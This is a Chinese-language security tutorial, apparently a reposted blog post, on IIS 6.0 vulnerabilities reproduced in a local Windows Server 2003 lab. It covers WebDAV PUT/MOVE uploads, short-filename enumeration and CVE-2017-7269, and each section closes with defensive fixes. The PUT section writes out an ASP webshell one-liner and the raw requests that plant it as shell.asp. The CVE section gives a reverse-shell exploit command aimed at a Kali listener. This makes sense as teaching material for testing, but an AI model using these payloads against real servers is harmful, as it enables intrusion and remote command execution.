当前位置: 首页 > news >正文

常见框架漏洞(五)----中间件IIS6

一、【PUT漏洞】

漏洞描述:IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写⼊的权限,造成任意⽂件上传。

版本:IIS 6.0

1. 环境

fofa搜素环境:"IIS-6.0"

或者环境搭建:本地搭建2003 server

本文使用本地搭建的VM虚拟机 2003 server。

2. 开启 WebDAV 和写权限: 

3.⽤burpsuite 提交OPTIONS 查看⽀持的协议

如果无法访问,注意是否是网站ip绑定不正确。同时注意虚拟网卡是否有效。如果无效,右击WLAN图标,网络设置--高级网络设置,将VM1和VM8虚拟网卡禁用后再启用,查看网卡是否成功启用。

发现支持协议有  :PUT 。

4.  PUT上传文档

⽤PUT上传⽂档,但不能直接上传⽅法脚本⽂档,可以先上传⼀个其他类型的⽂档,然后移动成

脚本⽂档:

PUT /test.txt HTTP/1.1

Host: 192.168.81.137

Content-Length: 23

<%eval request("cmd")%>

关闭拦截,再次访问网站,发现文件上传成功。

5.使⽤MOVE命令将其更名为脚本⽂档后缀:

MOVE /test.txt HTTP/1.1

Host: 192.168.81.137

Destination: http://192.168.81.137/shell.asp 

【一个空格】

关闭BP拦截,发现 文件修改后缀成功

6. 使用木马连接工具连接shell.asp文件【蚁剑】

访问shell.asp文件

连接成功

7.修复:

1.关闭webdav ;

2.关闭写⼊权限 。

二、IIS6.0解析漏洞

IIS6解析漏洞,在之前介绍的文件解析漏洞中提到过。

主要分为:目录解析漏洞,分号截断解析漏洞,畸形文件解析漏洞【.asa 、.cer  、 .cdx】

文章链接:文件解析漏洞靶场---解析详解-CSDN博客

三、IIS短⽂件漏洞

漏洞描述:

Windows 以 8.3 格式⽣成与 MS-DOS 兼容的(短)⽂件名,以允许基于 MS-DOS 或 16

位 Windows的程序访问这些⽂件。在cmd下输⼊" dir /x"即可看到短⽂件名的效果。

原理:

当后缀⼩于4时,短⽂件名产⽣需要⽂件(夹)名前缀字符⻓度⼤于等于9位。

当后缀⼤于等于4时,⽂件名前缀字符⻓度即使为1,也会产⽣短⽂件名。

123123123123.txt

 

⽬前IIS⽀持短⽂件名猜测的HTTP⽅法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种;

IIS 8.0之后的版本只能通过OPTIONS和TRACE⽅法被猜测成功。

1.   服务开启

IIS8.0以下版本需要开启ASP.NET⽀持,IIS>=8.0版本,即使没有安装ASP.NET,通过

OPTIONS和TRACE⽅法也可以猜解成功。以下通过开启IIS6.0 ASP.NET后进⾏复现

环境是:本地搭建的2003 server

2.   dir /x  查看是否有短文件名

cmd中,cd切换到网站绝对路径下,输入:dir /x ,可以看到是有短文件名。

3.短文件名特征:

(1)只显示前6位的字符,后续字符⽤~1代替。其中数字1是可以递增。如果存在⽂件名类似的⽂件,则前⾯的 6个字符是相同的,后⾯的数字进⾏递增。

(2)后缀名最⻓只有3位,超过3位的会⽣成短⽂件名,且后缀多余的部分会截断。

(3)所有⼩写字⺟均转换成⼤写的字⺟ ;

(4)⻓⽂件名中包含多个” . ”的时候,以⽂件最后⼀个” . ”作为短⽂件名的后缀

(5)⻓⽂件名前缀/⽂件夹名字符⻓度符合0-9和A-Z、a-z范围且需要⼤于等于9位才会⽣成短⽂件名,如果包含空格或者其他部分特殊字符,不论⻓度均会⽣成短⽂件。

4.使⽤payload验证⽬标是否存在IIS短⽂件名漏洞:

显示的404,说明⽬标存在该短⽂件名:

PS:* 可以匹配n个字符, n可以为0 :

abcde1231111.txt ⽂件为例:

 (1)访问:http://192.168.81.137/*~1*/a.aspx

404,存在短文件名漏洞

(2)通过浏览器访问⼀个不存在的短⽂件名,会返回400状态码, 400说明该⽂件不存在:

访问:http://192.168.81.137/maxtdy*~1*/a.aspx

(3)通过浏览器访问上⾯两个payload,根据返回的结果,可以说明⽬标存在IIS短⽂件漏洞 ;

5. 判断漏洞存在后,接下来⼿⼯详细分析猜解IIS短⽂件名:

还以 abcde1231111.txt ⽂件为例,分别访问 :

(1)■ http://192.168.81.137/a*~1*/a.aspx         404状态码

(2)■ http://192.168.81.137/b*~1*/a.aspx                    400状态码
(3)通过两次的提交确认了a是404,b是400 所以存在a⽂件开头的短⽂件。

6.通过上⾯的⽅法接着往后猜:

(1)
http://192.168.81.137/abcde*~1*/a.aspx
○ 到这⽂件名已经出来了。

(2)接着就是判断是⽬录还是⽂件。

http://192.168.81.137/abcde*~1/a.aspx

(3)上⾯判断是⽂件,按照a-z进⾏测试,404表示存在,400表示不存在,第⼀个字符不是a开
头的⽂件 :
http://192.168.81.137/abcde*~1.a*/a.aspx
http://192.168.81.137/abcde*~1.t*/a.aspx

(4)第⼀个是字符是t开头的,接着往后测试:

http://upload.moonteam.com/abcde*~1.txt*/a.aspx         404,表示存在

(5)按照上⾯的⽅法依次猜解得到该短⽂件名的后缀是txt,短⽂件名为 abcde~1.txt ,可以接着

猜解 abcde1231111.txt⽂件名 。

以上就是原理及漏洞产⽣的流程。

(6)接下来使⽤IIS短⽂件名扫描软件,获取⽬标存在哪些短⽂件名;

⼯具:https://github.com/lijiejie/IIS_shortname_Scanner

⽤法:python2 iis_shortname_Scan.py 目标网址【这里就是http://192.168.81.137】 

工具扫描,发现一个存在短文件名

7.防御手段:

1. 升级.net framework ;

2. 修改注册表键值:

a. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 修改

NtfsDisable8dot3NameCreation为1。

b. 修改完成后,需要重启系统⽣效。

c. 命令⾏关闭 fsutil behavior set disable8dot3 1 。

d. 新建⽂件 aaaaaaaaaaaaaazzzzz.txt 已经没有短⽂件名了。

e. 注:此⽅法只能禁⽌NTFS8.3格式⽂件名创建,已经存在的⽂件的短⽂件名⽆法移除,需

要重新复制才会消 失。如果不重新复制,已经存在的短⽂件名则是不会消失的。

f. 将web⽂件夹的内容拷⻉到另⼀个位置,如c:\www到c:\ww,然后删除原⽂件夹,再重

命名c:\ww到 c:\www。

三、IIS RCE-CVE-2017-7269

漏洞介绍:

Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的

ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:<http:// 开头的⻓标头执 ⾏任意代码 PROPFIND请求。

影响范围:WiNdows Server 2003 R2上使⽤IIS6.0并开启 WebDAV扩展。

1. 开启fastcgi和WebDAV

2.利⽤⼯具:

https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

反弹shell:python2 iis6exp 目标ip 目标端口 kali的ip kali的端口

kali下载⼯具,nc监听:

3.防御手段

1.关闭 WebDav服务 ;

2.升级 ;

3.部署安全设备 。

常见框架漏洞:中间件IIS-6.x  的介绍和练习结束啦

希望有所帮助,再见。。。【本文后补的】

                                                                                        ------------------2025/4/6   19:45

相关文章:

  • 罗米:《俄罗斯博物馆之旅》
  • 【C++11】异常
  • C语言学习笔记-9
  • Redis-x64-3.2.100.msi : Windows 安装包(MSI 格式)安装步骤
  • MessageQueue --- RabbitMQ可靠传输
  • [项目总结] 在线OJ刷题系统项目技术应用(下)
  • 同花顺客户端公司财报抓取分析
  • 【AI Infra】【RLHF框架】四、VeRL中PPO、GRPO、REINFORCE++、RLOO实现源码解析
  • Spring 怎么解决循环依赖问题?
  • 室内指路机器人是否支持与第三方软件对接?
  • 2025年渗透测试面试题总结-某四字大厂面试复盘扩展 二面 (题目+回答)
  • JavaScript 中的 Reflect 详解
  • notepad++8.6.4安装及细节
  • 【Python Cookbook】数字日期和时间(一)
  • unity的dots中instantiate克隆对象后,对象会在原位置闪现的原因和解决
  • 吉卜力动画风格图像生成:Ghibli Diffusion
  • SDL中SDL_AudioSpec结构体参数
  • 23 MVC模式
  • Android学习总结之网络篇(HTTP请求流程)
  • Day82 | 灵神 | 快慢指针 重排链表
  • 做住宿网站挣钱吗/网站系统开发
  • 深圳flash网站建设/如何推广网店
  • 深圳网站建设 案例/网站seo诊断优化方案
  • tp框架做响应式网站/制作网站的app
  • 新建网站/百度官网首页登陆
  • 网站开发实训新的体会/百度搜索下载安装